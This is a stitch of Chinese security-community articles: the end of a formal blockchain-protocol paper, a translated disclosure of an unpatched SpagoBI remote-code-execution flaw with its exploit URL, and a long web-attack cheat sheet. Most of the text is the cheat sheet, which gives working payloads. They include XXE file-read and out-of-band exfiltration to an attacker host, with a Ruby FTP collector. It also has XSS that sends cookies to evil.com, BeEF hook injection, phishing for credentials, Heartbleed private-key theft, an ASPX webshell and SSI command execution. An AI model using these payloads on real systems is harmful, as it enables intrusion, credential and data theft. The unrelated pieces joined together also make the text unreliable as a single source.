1）A使用其私钥为之前的交易提供数字签名，即要发送给B的比特币的来源以及接收者B，然后将此签名添加到此交易的末尾。
2）A将该交易广播到区块链网络，区块链上的每个节点都会将该交易收集到其潜在区块中。
3）每个矿工都进行工作量证明，即试图解决一个难题，以竞争在此周期中创建新区块的特权。具体而言，所有矿工在一定的限制下都试图找到可以满足SHA256要求的合适值。作为奖励，可以在此过程中生产一些新的比特币，然后将其奖励给可以成功生成下一个新区块的人。同时，每个矿工都需要验证收集到的交易的有效性并将其路由到其邻居。
4）当某人解决工作量证明时，它会将所有收集到的有效交易以及带有时间戳的时间戳广播到区块链网络。然后其他矿工验证这些交易的有效性。
5）如果所有矿工都同意这些交易，即这些交易在验证后有效，那么将生成包含这些交易的新区块并将其附加到当前区块链中。通过这种方式，构建区块链时将新区块一一添加。经过6个区块后，可以说B收到了A转移的钱。
整个交易过程按流程形式化如下。请注意，这里说的是用于矿工彼此通信的通道是专用的，但是稍后在分析区块链协议的安全性属性时，将忽略通道名称之间的差异，即所有通道都被视为与通道之间交互的方式。环境。
•首先，发送方A的描述如下（与上述步骤1和2有关）：
它显示事务主要由三个部分组成：上一个事务 _pretr_ ，接收方B的地址 _addrof_
B和转换后的金额。最初，A使用哈希函数生成此事务的摘要，并使用其私钥对该摘要进行加密。加密的摘要被视为要发送给A邻居的数字签名。然后，A将此数字签名和原始交易路由到其邻居C。
•验证者C从A接收消息。C使用与A相同的哈希函数计算事务摘要，并将其与接收的摘要进行比较。如果它们相同，则C可以确保该事务确实来自A。然后C将该事务收集到一个潜在的块中。同时，C致力于寻找工作量证明（POW）的解决方案，并选择将此交易路由到其邻居验证者D（与上述区块链协议的步骤3有关）。
D将执行与C相同的操作，但是接收和发送操作仅在通道d中进行。即由d（x）接收和由d（x）发送。请注意，这里允许C不发送接受的交易，这可能在真实的区块链场景中发生。因此验证者C可以做以下三件事之一：
•矿工E解决工作量证明时，会立即将新生产的区块转发给其邻居。注意这里C，D，E可以是区块链中的任何矿工。使用B
[tr1，…，trn]表示一个包含n个事务的块（与上面的步骤4有关）。
•其他矿工（例如矿工F）验证此新生产区块中所有交易的有效性。如果他们都同意这些交易，那么他们会将这个区块附加到当地的区块链上。请注意，在F的最后一个过程下面是0，它仅表示此循环中此块的完成。实际上，在真正的区块链中，矿工将继续构建下一个区块（与上述区块链协议的第5步有关）。
因此，区块链协议可以被描述为矿工的组成。
最后但并非最不重要的是，矿工C，D，E，F不是特定的矿工。一个可以是它们中的任何一个，例如C也可以是D，E或F。此外，A可以扮演其中任何一个的角色。
## 0x04 Secrecy Property for Blockchain Protocol
为了表示安全属性，定义了一些操作术语。可以通过在区块链协议模型生成的轨迹上的可达性问题来对安全属性进行建模。
**定义5.令α为一个动作：** 一组动作术语表示如下：
定义了t和|=两种关系。 前者存在于跟踪项和动作项之间，后者存在于配置项和动作项之间。 它们的归纳定义如下 而s指的是痕迹)：
区块链协议的保密属性直观上意味着每个有效交易都应成功添加到后续区块中，即不会丢失任何有效交易。
为了定义此属性，说如果可以将有效交易成功添加到区块链，则其对应的跟踪必须以Append（x）.0结尾。同时，如果跟踪以Append（x）.0结尾，则先前的操作必须包括一个发出事务的操作。如前所述，可以将保密属性建模为操作项，因此保密属性定义如下。
**定义6（区块链协议的保密性）：**
给定关于区块链协议保密性的正式过程，如果满足以下条件，它就可以满足保密性（假设C是将交易路由到外部网络的第一个验证者，C是与其邻居的通信通道）：
## 0x05 Triangle Attack and Countermeasures
### 1）三角攻击：
可以通过以下方式捕获，即，据说一笔交易已添加到区块链中，但实际上并未广播给所有矿工。请注意，这里忽略了通道名称之间的差异。
在此跟踪中，过程Append（M）发生在没有转移交易的发送过程的情况下，这与定义6中的区块链协议的保密性矛盾，因此可以将其视为攻击。考虑到所示的情况，这意味着在A将事务转移到C之后，C不会将该事务路由到其他矿工，即，根据C的描述，C不会执行c¯（x），因此交易从C丢失。
### 2）对策：
如果强迫每个矿工发送其接受的交易，则可以避免上述攻击。形式上，可以在区块链协议规范中将C的行为修改为：
在这种情况下，矿工C无法随意放弃发送动作。因此，如果可以将有效交易添加到区块链，则必须已将其广播给所有矿工。此外，为抵御上述攻击，针对区块链上的节点提供了一些建议，如下所示：
•从接收方B的角度来看：参与交易的节点应积极保护其在区块链上的存在，这强调了“不信任任何人”的概念。即使发生事故故障，节点返回区块链后也应首先检查相关交易。如果承诺的交易未在任何区块中发生，则接收方可以拒绝交付货物。
•从发送方A的角度来看：如果只有一个“gate”将交易转移到外部，则节点应继续监听区块链网络，并选择不发送交易，或只是延迟交易。
## 0x06 Conclusion and Perspective
本文采用模型检查的方法，通过过程演算来定义区块链核心协议规范，并基于跟踪语义对其保密性进行了检查。作为DDoS攻击在区块链上的一种应用，提出了三角攻击并将其形式化，以与跟踪语义上的保密性相矛盾。此外，还提出了针对攻击的一些对策。
未来计划根据其模型在区块链协议上发现更多潜在的攻击。 | 社区文章 |
# SpagoBI的远程代码执行漏洞
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://remoteawesomethoughts.blogspot.jp/2016/03/spagobi-remote-code-execution-by.html#!/2016/03/spagobi-remote-code-execution-by.html>
译文仅供参考，具体内容表达以及含义原文为准。
**文章摘要**
这是我们的第二篇相关文章了，这也是我们所发现的第二个远程代码执行漏洞。在这篇文章中，我们将会对SpagoBI进行讨论。SpagoBI是一个免费的开源商业智能软件。该平台由SpagoBI实验室进行开发，旨在为商业智能项目提供了一个完整开源的解决方案。这是一个百分之百开源的商业智能套件，并且还有大量热情的开源社区开发人员，集成制造商，企业和用户正在为这一开源软件而共同努力。
首先我们需要声明的是，我们在这篇文章中所讨论的漏洞目前仍然没有修复。我之所以要将这一漏洞的详细信息披露出来，是因为我早在2014年12月份的时候就已经将有关这一漏洞的详细信息提交给了相关的制造商，但是这个漏洞直到现在都没有被修复。这也足以说明相关人员在处理漏洞这一方面存在非常严重的问题。
通常情况下，我是不会对目前没有进行修复的漏洞进行披露的。但是就现在的情况来看，也许只有更多的黑客知道了这个漏洞，相关厂商才会意识到问题的严重性。
**漏洞描述：**
SpagoBI利用Groovy库来在后台执行动态的商业智能操作。所以，在其源代码中应该有部分功能代码可以对平台输入的内容和数据进行解析。Groovy支持系统输入原生的Java对象，所以如果系统中没有设置过滤器的话，那么就很容易会出现远程代码执行漏洞。事实上，在应用程序中并不存在相应的过滤器来对输入数据进行过滤，所以攻击者就可以通过修改代码库中的少数功能函数来执行任意命令了。
为了更好地向大家讲解这个漏洞，我们将会主要对“SpagoBIQbeEngine”
Servlet中的一个漏洞进行讲解。在演示这个漏洞的过程中，我们将会使用最新版的虚拟镜像文件（SpagBI
5.1），大家可以在网上下载获取。除此之外，我们还将使用该平台权限最低的“bidemo”用户来进行登录操作。
然后，我们找到“QbE”功能选项：
在点击了这一选项之后，我们可以在系统后台看到相应的请求信息和系统处理过程：
然后，服务器端将会为此请求处理过程创建一个相对应的标识符，然后再将响应信息发送回客户端。
这个标识符是十分重要的，我们在利用这个漏洞的过程中会需要使用到这个标识符，因为它是目标函数的其中一个参数。那么现在，我们只需要调用存在漏洞的函数，然后将标识符传递给它，然后我们就可以加载我们的攻击Payload了。
http://localhost:8080/SpagoBIQbeEngine/servlet/AdapterHTTP?ACTION_NAME=Validate_Expression_Action&EXPRESSION=java.lang.Runtime.getRuntime().exec('notepad')&fields=[{"uniqueName":"test","alias":"test"}]&SBI_EXECUTION_ID=XXX
请求信息的具体内容：
正如下图所示，请求的响应信息内容为空，这也就意味着我们的漏洞利用过程一切顺利。
**总结：**
在这篇文章中，我想要警告所有SpagoBI的用户，你们一直都处于安全风险之中，而且已经持续了一年的时间了。除此之外，我还想告诉大家的是，我之所以等待了一年多的时间才将这个漏洞的详细信息公布出来，是因为我也明白修复这个漏洞实际上并不是一件容易的事情，所以我觉得等待也是可以接受的。但是在我向相关厂商提交了漏洞信息之后，却没有得到任何有实际意义的反馈信息，所以我认为我必须要将这个漏洞的信息公布出来，才能引起相关厂商的重视。
**漏洞披露时间轴：**
2014年12月17日：向供应商发送了第一封电子邮件，并在邮件中提供了关于此漏洞的详细内容。
2014年12月22日：向供应商发送了第二封电子邮件，并要求厂商提供反馈信息。
2014年12月22日：供应商承认了这一漏洞。
2015年01月22日：向供应商发送了第三封电子邮件，并要求供应商反馈目前该漏洞的修复状况。
2015年02月19日：向供应商发送了第四封电子邮件，并要求供应商反馈目前该漏洞的修复状况。
2015年02月23日：供应商通过电子邮件回复称，他们打算利用沙箱来解决这一问题。
2015年02月24日：向供应商发送了第五封电子邮件，告诉他们引入沙箱实际上并不能从根本上解决这一问题。
2015年12月03日：向供应商发送了第六封电子邮件，并要求厂商对目前该漏洞的处理情况进行反馈。
2015年12月03日：厂商回应称他们将采用白名单方式来进行处理，并且在邮件中提供了该方法的具体实施细节。
2015年12月07日：向供应商发送了第七封电子邮件，警告称白名单处理方法非常的危险，攻击者将能够利用这一漏洞来向服务器写入任意内容的数据。
2016年03月08日：仍然没有得到厂商回应。我决定将此漏洞的详细信息披露出来。 | 社区文章 |
# Web Fuzz
## XXE
### 测试方法
发现post请求的接口的时候，可以这样试试：
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<methodCall><methodName>&test;</methodName></methodCall>
如果发现了一个错误：
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test "nice string bro">]
>
<methodCall><methodName>&test;</methodName></methodCall>
说明能够解析，试试读文件：
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "file:///etc/passwd">]
>
<methodCall><methodName>&test;</methodName></methodCall>
或者用php伪协议：
<?xml version="1.0"?>
<!DOCTYPE a
[<!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=index.php">]
>
<methodCall><methodName>&test;</methodName></methodCall>
得到的结果再base64解码即可。
## webgoat8
## 测试方法
试一试是否可以添加实体的评论：
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test "THIS IS A STRING!">
]>
<comment><text>&test;</text></comment>
可以的话，试试file：
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<comment><text>&test;</text></comment>
## MUTILLIDAE
要获取mutillidae上的文件，要在form表单提交的过程中使用测试的payload：
<?xml version="1.0"?> <!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>
或者把xml版本忽略掉：
<!DOCTYPE a
[<!ENTITY TEST SYSTEM "file:///etc/passwd">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>
以及上面提到的php流：
<!DOCTYPE a
[<!ENTITY TEST SYSTEM "php://filter/convert.base64-encode/resource=phpinfo.php">]
>
<methodCall><methodName>&TEST;</methodName></methodCall>
## OUT OF BAND
### 基础测试
1. 使用 burp 的collaborator 然后单击`copy the payload to clipboard`
2. 将下面的code放入xml文件，然后上传：
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://burp.collab.server" >]><foo>&xxe;</foo>
看看是否发送了请求
成功后，再利用其他payload
### 读文件
`wing.xml`
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM
"file:///etc/lsb-release">
<!ENTITY % dtd SYSTEM
"http://<evil attacker hostname>:8000/evil.dtd">
%dtd;
]>
<data>&send;</data>
`vps->evil.dtd`
<!ENTITY % all "<!ENTITY send SYSTEM 'http://<evil attacker hostname>:8000/?collect=%file;'>"> %all;
`host in dtd:`
python -m SimpleHTTPServer 8000
### 使用FTP读文件
`evil.xml`
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY % asd SYSTEM "http://<evil attacker hostname>:8090/xxe_file.dtd">
%asd;
%c;
]>
<a>&rrr;</a>
`将dtd文件放在VPS上:`
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://<evil attacker hostname>:2121/%d;'>">
ruby利用脚本：
require 'socket'
ftp_server = TCPServer.new 2121
http_server = TCPServer.new 8088
log = File.open( "xxe-ftp.log", "a")
payload = '<!ENTITY % asd SYSTEM "file:///etc/passwd">'
Thread.start do
loop do
Thread.start(http_server.accept) do |http_client|
puts "HTTP. New client connected"
loop {
req = http_client.gets()
break if req.nil?
if req.start_with? "GET"
http_client.puts("HTTP/1.1 200 OK\r\nContent-length: #{payload.length}\r\n\r\n#{payload}")
end
puts req
}
puts "HTTP. Connection closed"
end
end
end
Thread.start do
loop do
Thread.start(ftp_server.accept) do |ftp_client|
puts "FTP. New client connected"
ftp_client.puts("220 xxe-ftp-server")
loop {
req = ftp_client.gets()
break if req.nil?
puts "< "+req
log.write "get req: #{req.inspect}\n"
if req.include? "LIST"
ftp_client.puts("drwxrwxrwx 1 owner group 1 Feb 21 04:37 test")
ftp_client.puts("150 Opening BINARY mode data connection for /bin/ls")
ftp_client.puts("226 Transfer complete.")
elsif req.include? "USER"
ftp_client.puts("331 password please - version check")
elsif req.include? "PORT"
puts "! PORT received"
puts "> 200 PORT command ok"
ftp_client.puts("200 PORT command ok")
else
puts "> 230 more data please!"
ftp_client.puts("230 more data please!")
end
}
puts "FTP. Connection closed"
end
end
end
loop do
sleep(10000)
end
fuzz
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt
## XSS
对于asp的站点，我们用unicode编码尖括号，适用于存储型XSS：
'%uff1cscript%uff1ealert('XSS');%uff1c/script%uff1e'
### 文件上传的XSS
发现上传点的时候，可以试试用payload作为文件名：
<img src=x onerror=alert('XSS')>.png
or：
"><img src=x onerror=alert('XSS')>.png
or:
"><svg onmouseover=alert(1)>.svg
### SVG
stuff.svg
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert('XSS!');
</script>
</svg>
### XML
<html>
<head></head>
<body>
<something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
</body>
</html>
### CSP BYPASS
script-src self: <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
### 常用的payload
* `svg/onload`
* `'-alert(1)-'`
* `eval(atob('YWxlcnQoMSk='))`
* `<iMg SrC=x OnErRoR=alert(1)>`
* `<div onmouseover="alert('XSS');">`
`</Textarea/</Noscript/</Pre/</Xmp><Svg /Onload=confirm(document.domain)>`
* `[email protected]<--`<img/src=` onerror=alert(1)> --!>`
* `""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()`
* `oNcliCk=alert(1)%20)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>%5Cx3csVg/<img/src/onerror=alert(2)>%5Cx3e`
### AUTH CRED
遇到http-only的时候：
使用钓鱼的基本身份验证获取其凭据
1. 注册一个和目标类似的域名
2. <https://github.com/ryhanson/phishery>
3. 编译然后运行
4. 设置payload----`<img/src/onerror=document.location="[evil.com/](https://evil.com/)">`
5. 等待目标上线
可还行
### 偷Cookie
<img/src/onerror=document.location="http://evil.com:8090/cookiez.php?c="+document.cookie>
Blacklist bypass:
过滤了`//,:,",<和>`
btoa('document.location="http://evil.com:8090/r.php?c="+document.cookie')
payload:
eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9ldmlsLmNvbTo4MDkwL3IucGhwP2M9Iitkb2N1bWVudC5jb29raWU='))
另外一个：
<script>new Image().src="http://evil.com:8090/b.php?"+document.cookie;</script>
比较不错的一个payload：
<svg onload=fetch("//attacker/r.php?="%2Bcookie)>
nc 监听：
nc -lvp 8090
### 测试session劫持
利用burp重放功能进行测试。
看不同cookie会有什么变化。
### FILTER BYPASS RESOURCES
收集到的payload：
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://bittherapy.net/a-trick-to-bypass-an-xss-filter-and-execute-javascript/
https://support.portswigger.net/customer/portal/articles/2590820-bypassing-signature-based-xss-filters-modifying-script-code
https://brutelogic.com.br/blog/avoiding-xss-detection/
https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
### 基于POST的XSS
如果遇到无法将基于POST的XSS转换为GET请求的情况(可能目标服务器上禁用了GET请求)，试试CSRF。
### DOM XSS
<target.com>/#<img/src/onerror=alert("XSS")>
beef的hook，urlencode
<target.com>/#img/src/onerror=$("body").append(decodeURIComponent('%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%3c%65%76%69%6c%20%69%70%3e%3a%33%30%30%30%2f%68%6f%6f%6b%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e'))>
#<img/src="1"/onerror=alert(1)>
#><img src=x onerror=prompt(1);>
这些站点有大量的xss payload
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS injection
https://zseano.com/tutorials/4.html
https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/xss.md
http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html
http://www.xss-payloads.com/payloads-list.html?a#category=all
payload生成：
xssor.io
http：//www.jsfuck.com/
https://github.com/aemkei/jsfuck
https://convert.town/ascii-to-text
http://jdstiles.com/java/cct.html
## SSRF
在可以控制url参数的情况下，只要不重定向，就可以测试一下SSRF。
Webhooks, PDF 生成， 文档解析, 文件上传这些地方都可以重点关注一下。
PS:<https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF>
想办法探测内网资产：<http://internal-server:22/notarealfile.txt>
更换端口，查看回显，判断端口的开放。
没有回显的情况下，按照响应时间判断，以及DNSLOG，这玩意burp自带的也好用的。
根据我的经验，一些组件只能使用某些端口，例如80,8080,443等。最好对这些端口进行测试。
如果你的payload中有路径，最好带上&,#
http://internal-vulnerable-server/rce?cmd=wget%20attackers-machine:4000&
http://internal-vulnerable-server/rce?cmd=wget%20attackers-machine:4000#
这篇文章对SOP和CORS以及SSRF都有很好的讲解：https//www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/
Bug Bounty Write-ups:
https://hackerone.com/reports/115748
https://hackerone.com/reports/301924
https://www.sxcurity.pro/hackertarget/
http://blog.orange.tw/2017/07/how-i-chained-4-vulnerabilities-on.html
https://seanmelia.files.wordpress.com/2016/07/ssrf-to-pivot-internal-networks.pdf
https://github.com/ngalongc/bug-bounty-reference#server-side-request-forgery-ssrf
https://hack-ed.net/2017/11/07/a-nifty-ssrf-bug-bounty-write-up/
## SQL注入
使用SQLMap在PUT REST Params中测试SQLi：
1. 使用 *标记Vulnerable参数
2. 复制请求并将其粘贴到文件中。
3. 用sqlmap运行：
sqlmap -r <file with request> -vvvv
备忘录:<https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
可以试试双编码输入。
## 会话固定
快速检查的方法，可用于确定会话固定漏洞是否是网站上的问题：
转到登录页面，观察未经身份验证的用户拥有的会话ID。
登录该站点。进入后，观察用户拥有的会话ID。如果会话ID与用户进行身份验证之前由站点提供的会话ID匹配，那么存在会话固定漏洞。
## CSRF
一些绕过技术，即使有CSRF Token:
<https://zseano.com/tutorials/5.html>
csrf和reset api:
<html>
<script>
function jsonreq() {
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://target.com/api/endpoint", true);
xmlhttp.setRequestHeader("Content-Type","text/plain");
//xmlhttp.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xmlhttp.withCredentials = true;
xmlhttp.send(JSON.stringify({"test":"x"}));
}
jsonreq();
</script>
</html>
案例:
https://blog.appsecco.com/exploiting-csrf-on-json-endpoints-with-flash-and-redirects-681d4ad6b31b
http://c0rni3sm.blogspot.com/2018/01/1800-in-less-than-hour.html
CSRF TO REDECT XSS
<html>
<body>
<p>Please wait... ;)</p>
<script>
let host = 'http://target.com'
let beef_payload = '%3c%73%63%72%69%70%74%3e%20%73%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%27%73%63%72%69%70%74%27%29%3b%20%73%2e%74%79%70%65%3d%27%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%27%3b%20%73%2e%73%72%63%3d%27%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%68%6f%6f%6b%2e%6a%73%27%3b%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%27%68%65%61%64%27%29%5b%30%5d%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%73%29%3b%20%3c%2f%73%63%72%69%70%74%3e'
let alert_payload = '%3Cimg%2Fsrc%2Fonerror%3Dalert(1)%3E'
function submitRequest() {
var req = new XMLHttpRequest();
req.open(<CSRF components, which can easily be copied from Burp's POC generator>);
req.setRequestHeader("Accept", "*\/*");
req.withCredentials = true;
req.onreadystatechange = function () {
if (req.readyState === 4) {
executeXSS();
}
}
req.send();
}
function executeXSS() {
window.location.assign(host+'<URI with XSS>'+alert_payload);
}
submitRequest();
</script>
</body>
</html>
## 文件上传漏洞
在OS X上创建测试10g文件（对于测试文件上载限制很有用）：
mkfile -n 10g temp_10GB_file
### 无限制的文件上传
资源:
http://nileshkumar83.blogspot.com/2017/01/file-upload-through-null-byte-injection.html
一些备忘录:<https://github.com/jhaddix/tbhm>
### CORS配置错误
用于测试的POC:
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
<script>
function cors() {
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
// If you want to print something out after it finishes:
//alert(req.getAllResponseHeaders());
//alert(localStorage.access_token);
}
};
// If you need to set a header (you probably won't):
// req.setRequestHeader("header name", "value");
req.open("GET", "<site>", true);
req.withCredentials = true;
req.send();
}
</script>
</body>
</html>
资源:
https://www.securityninja.io/understanding-cross-origin-resource-sharing-cors/
http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html
https://www.youtube.com/watch?v=wgkj4ZgxI4c
http://ejj.io/misconfigured-cors/
https://www.youtube.com/watch?v=lg31RYYG-T4
https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
https://w3c.github.io/webappsec-cors-for-developers/#cors
http://gerionsecurity.com/2013/11/cors-attack-scenarios/
Using CORS misconfiguration to steal a CSRF Token:
https://yassineaboukir.com/blog/security-impact-of-a-misconfigured-cors-implementation/
## 测试心脏出血漏洞
nmap -d --script ssl-heartbleed --script-args vulns.showall -sV -p <port> <target ip> --script-trace -oA heartbleed-%y%m%d
### 偷私钥
wget https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py
echo "<target>:<port>" > targets.txt
python heartbleed.py -f targets.txt -v -e
wget https://raw.githubusercontent.com/sensepost/heartbleed-poc/master/heartbleed-poc.py
python heartbleed-poc.py <target> -p <target port> | less
<https://gist.github.com/bonsaiviking/10402038>
<https://gist.githubusercontent.com/eelsivart/10174134/raw/8aea10b2f0f6842ccff97ee921a836cf05cd7530/heartbleed.py>
## 重定向
<http://breenmachine.blogspot.com/2013/01/abusing-open-redirects-to-bypass-xss.html>
重定向到beef：
<script> s=document.createElement('script'); s.type='text/javascript'; s.src='http://evil.com:3000/hook.js'; document.getElementsByTagName('head')[0].appendChild(s); </script>
使用Burp中的Decoder将其编码为base-64，并将其传递给payload：
data:text/html;base64,PHNjcmlwdD4gcz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTsgcy50eXBlPSd0ZXh0L2phdmFzY3JpcHQnOyBzLnNyYz0naHR0cDovL2V2aWwuY29tOjMwMDAvaG9vay5qcyc7IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdoZWFkJylbMF0uYXBwZW5kQ2hpbGQocyk7IDwvc2NyaXB0Pg==
other：
http://;URL=javascript:alert('XSS')
data:text/html%3bbase64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K
<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20redirect>
## CRLF注入
当你看到请求的参数是这样:
http://inj.example.org/redirect.asp?origin=foo
回显是这样：
HTTP/1.1 302 Object moved
Date: Mon, 07 Mar 2016 17:42:46 GMT
Location: account.asp?origin=foo
Connection: close
Content-Length: 121
<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="">here</a>.</body>
尝试CRLF注射：
http://inj.example.org/redirect.asp?origin=foo%0d%0aSet-Cookie:%20ASPSESSIONIDACCBBTCD=SessionFixed%0d%0a
CRLF： %0d%0a
https://www.gracefulsecurity.com/http-header-injection/
https://www.owasp.org/index.php/Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)
https://www.acunetix.com/websitesecurity/crlf-injection/
https://blog.innerht.ml/twitter-crlf-injection/
## 模板注入
您可以将一些代码放入jsfiddle以进行payload测试：
<html>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.js"></script>
</head>
<body>
<div ng-app>
{{constructor.constructor('alert(1)')()}}
</div>
</body>
</html>
<http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html>
## RCE
使用WEBSHELL上传（.NET）绕过AV：
这是一个示例，其中包含fuzzdb项目中的一个webshell：
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script Language="c#" runat="server">
</script>
<HTML>
<HEAD>
<title>REALLY NICE</title>
</HEAD>
<body >
<form id="cmd" method="post" runat="server">
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="execute" OnClick="cmdClick"></asp:Button>
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
</form>
</body>
</HTML>
<https://hax365.wordpress.com/2015/12/15/easy-trick-to-upload-a-web-shell-and-bypass-av-products/>
## PHP中的匿名函数RCE
$inputFunc = function() use($a, $b, $c, &$f){echo(exec('whoami'));};
## PHP实验
如果您需要测试一些PHP代码，可以使用本机Web服务器来托管它：
php -S 127.0.0.1:80 -t .
## PHP交互式SHELL
php -a
## CSV注入
在Windows上的Excel中，输入以下内容以获取cmd shell：
=cmd|'cmd'!''
exmaple:<https://rhinosecuritylabs.com/azure/cloud-security-risks-part-1-azure-csv-injection-vulnerability/>
movie：<https://www.youtube.com/watch?v=SC7AkclnG2g>
## 有用的脚本
不断检查网站服务是否关闭：
while true; do /usr/bin/wget "http://[target]/uri/path" --timeout 30 -O - 2>/dev/null | grep "[item on page]" || echo "The site is down"; sleep 10; done
## IDORS
<https://www.bugcrowd.com/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/>
## 服务器端包含注入
把它放在一个易受攻击的参数中：
如果有效，您应该在响应中看到当前日期和时间输出。
`<!--#printenv -->`：输出环境变量。
`<!--#exec cmd="cat /etc/passwd"-->`
more:
<pre><!--#exec cmd="ls" --></pre>
<pre><!--#echo var="DATE_LOCAL" --> </pre>
<pre><!--#exec cmd="whoami"--></pre>
<pre><!--#exec cmd="dir" --></pre>
<!--#exec cmd="ls" -->
<!--#exec cmd="wget http://website.com/dir/shell.txt" -->
<!--#exec cmd="/bin/ls /" -->
<!--#exec cmd="dir" -->
<!--#exec cmd="cd C:\WINDOWS\System32">
<!--#config errmsg="File not found, informs users and password"-->
<!--#echo var="DOCUMENT_NAME" -->
<!--#echo var="DOCUMENT_URI" -->
<!--#config timefmt="A %B %d %Y %r"-->
<!--#fsize file="ssi.shtml" -->
<!--#include file=?UUUUUUUU...UU?-->
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="whoami"-->
<!--#printenv -->
<!--#flastmod virtual="echo.html" -->
<!--#echo var="auth_type" -->
<!--#echo var="http_referer" -->
<!--#echo var="content_length" -->
<!--#echo var="content_type" -->
<!--#echo var="http_accept_encoding" -->
<!--#echo var="forwarded" -->
<!--#echo var="document_uri" -->
<!--#echo var="date_gmt" -->
<!--#echo var="date_local" -->
<!--#echo var="document_name" -->
<!--#echo var="document_root" -->
<!--#echo var="from" -->
<!--#echo var="gateway_interface" -->
<!--#echo var="http_accept" -->
<!--#echo var="http_accept_charset" -->
<!--#echo var="http_accept_language" -->
<!--#echo var="http_connection" -->
<!--#echo var="http_cookie" -->
<!--#echo var="http_form" -->
<!--#echo var="http_host" -->
<!--#echo var="user_name" -->
<!--#echo var="unique_id" -->
<!--#echo var="tz" -->
<!--#echo var="total_hits" -->
<!--#echo var="server_software" -->
<!--#echo var="server_protocol" -->
<!--#echo var="server_port" -->
<!--#echo var="server_name -->
<!--#echo var="server_addr" -->
<!--#echo var="server_admin" -->
<!--#echo var="script_url" -->
<!--#echo var="script_uri" -->
<!--#echo var="script_name" -->
